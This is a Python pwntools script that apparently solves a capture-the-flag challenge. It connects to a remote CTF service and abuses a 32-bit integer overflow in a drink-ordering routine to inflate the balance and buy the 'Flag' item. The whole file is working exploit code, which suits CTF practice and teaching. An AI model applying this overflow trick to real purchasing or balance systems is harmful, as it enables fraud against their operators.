from pwn import *

# Context settings for the binary (Architecture: 64-bit)
context.update(arch='amd64', os='linux')

# Connection details for the remote server
host = 'malta.ctf.pascalctf.it'
port = 9001

try:
    # Start the connection
    r = remote(host, port)

    # --- STEP 1: Exploit the Integer Overflow ---
    # We select drink #10 ("Flag") which has a price of 1,000,000,000
    log.info("Selecting drink number 10...")
    r.sendlineafter(b"Select a drink: ", b"10")

    # We order 3 units. Total = 3 * 1,000,000,000 = 3,000,000,000
    # In 32-bit signed integer comparison, 3 billion overflows to a negative value.
    # Logic: if (100 < -1,294,967,296) is False, so the purchase is allowed.
    # Substracting a negative cost adds it to your balance: 100 - (-1.29B) = ~1.29B
    log.info("Triggering Integer Overflow by ordering 3 units...")
    r.sendlineafter(b"How many drinks do you want? ", b"3")

    # Wait for the server to process (there is a sleep(2) in the source code)
    sleep(2.5)

    # --- STEP 2: Purchase the Flag drink ---
    # Now our balance is huge (~1.29 Billion). We can buy the Flag drink normally.
    log.info("Purchasing the Flag drink with our new massive balance...")
    r.sendlineafter(b"Select a drink: ", b"10")
    r.sendlineafter(b"How many drinks do you want? ", b"1")

    # --- STEP 3: Retrieve and print the Flag ---
    # The program prints the drink's description, which was replaced by the flag in init()
    # We send '11' to trigger the exit and flush the buffers.
    log.info("Exiting to retrieve the flag...")
    r.sendlineafter(b"Select a drink: ", b"11")

    # Receive everything until the end of the connection
    output = r.recvall().decode()
    
    # Success message
    success("Flag found!")
    print(output)

except Exception as e:
    log.error(f"Could not connect or exploit failed: {e}")

finally:
    r.close()
